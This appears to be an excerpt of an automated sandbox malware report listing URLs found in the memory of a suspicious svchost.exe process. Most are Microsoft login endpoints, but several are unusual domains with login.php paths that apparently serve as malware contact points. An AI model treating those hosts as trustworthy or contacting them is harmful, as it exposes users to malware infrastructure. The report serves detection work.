Source: svchost.exe, 00000002.00000002.3275296456.000000000960C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3203448241.0000000002BA5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3271388924.0000000000886000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272732597.0000000002B37000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww25.lyxynyx.com/login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcb
Source: svchost.exe, 00000002.00000002.3272732597.0000000002B37000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww25.lyxynyx.com/login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcbco
Source: svchost.exe, 00000002.00000002.3275296456.0000000009600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3275296456.0000000009608000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww25.lyxynyx.com/login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcbser-AgentMozilla/4.0
Source: svchost.exe, 00000002.00000002.3271285901.000000000086D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww6.galyqaz.com/
Source: svchost.exe, 00000002.00000002.3271285901.000000000086D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ww6.galyqaz.com/GlobalSign
Source: roundwood.exe, svchost.exe.0.drString found in binary or memory: http://www.ankord.com/)2
Source: svchost.exe, 00000002.00000003.2890817974.000000000086B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.gahyqah.com/
Source: svchost.exe, 00000002.00000003.2890848230.0000000002BA0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.gahyqah.com/login.php
Source: svchost.exe, svchost.exe, 00000002.00000003.2418070085.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004421327.0000000002BB1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2201851552.0000000002B93000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272777331.0000000002B3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3275296456.0000000009600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2201371458.0000000002B93000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2890700232.0000000002B97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, svchost.exe, 00000002.00000003.2084993820.0000000002B18000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3275296456.000000000960C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3271285901.000000000086D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2084959742.0000000000883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272240736.0000000002915000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3271568351.0000000000893000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2039128635.000000000088E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.com
Source: svchost.exe, 00000002.00000003.2905676121.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3275296456.0000000009608000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905676121.0000000002BB1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comt
Source: svchost.exe, 00000002.00000003.2600887126.0000000002BB3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comt3
Source: svchost.exe, 00000002.00000003.2600887126.0000000002BB3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comtD
Source: svchost.exe, 00000002.00000003.2600887126.0000000002BB7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.comtw
Source: roundwood.exe, svchost.exe.0.drString found in binary or memory: http://www.symantec.com
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2439857883.0000017E5C356000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80600
Source: svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2439857883.0000017E5C356000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80601
Source: svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80603
Source: svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80604
Source: svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&amp;id=80605
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600ssuer
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570505708.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433649128.0000017E5C357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/msangcwam
Source: svchost.exe, 00000002.00000003.2921538200.0000000002BA7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.w.org/
Source: login[2].htm1.2.drString found in binary or memory: https://cdn.consentmanager.net
Source: login[2].htm1.2.drString found in binary or memory: https://delivery.consentmanager.net
Source: svchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmp, login[2].htm0.2.dr, login[3].htm.2.dr, login[2].htm.2.drString found in binary or memory: https://domaincntrol.com/?orighost=
Source: svchost.exe, 00000002.00000003.2084959742.0000000000883000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dts.gnpge.com
Source: svchost.exe, 0000000E.00000003.2727419752.0000017E5CAAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2711485737.0000017E5CAAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2602576677.0000017E5CAAA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ApproveSession.srfr.srf
Source: svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2439857883.0000017E5C356000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80600
Source: svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2439857883.0000017E5C356000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&amp;id=80601
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433762976.0000017E5C36B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433762976.0000017E5C36B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600er
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433762976.0000017E5C36B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601er
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srf~
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3273834815.0000017E5CAA8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570505708.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425245779.0000017E5C310000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433762976.0000017E5C36B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433762976.0000017E5C36B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000000E.00000003.2438660213.0000017E5C327000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srff
Source: svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srfuer
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2438660213.0000017E5C327000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433762976.0000017E5C36B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srfen
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433762976.0000017E5C36B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000E.00000003.2438660213.0000017E5C327000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfX
Source: svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfrml
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433762976.0000017E5C36B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433762976.0000017E5C36B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 0000000E.00000003.2680132228.0000017E5CAB4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2708942646.0000017E5CAB3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2709183866.0000017E5CAB4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2697887745.0000017E5CABB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3273987342.0000017E5CAB5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2648199352.0000017E5C307000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-Dg
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2439857883.0000017E5C356000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433762976.0000017E5C36B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 0000000E.00000003.2424665623.0000017E5C32C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfsuer
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502Issuer
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2439857883.0000017E5C356000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806045
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
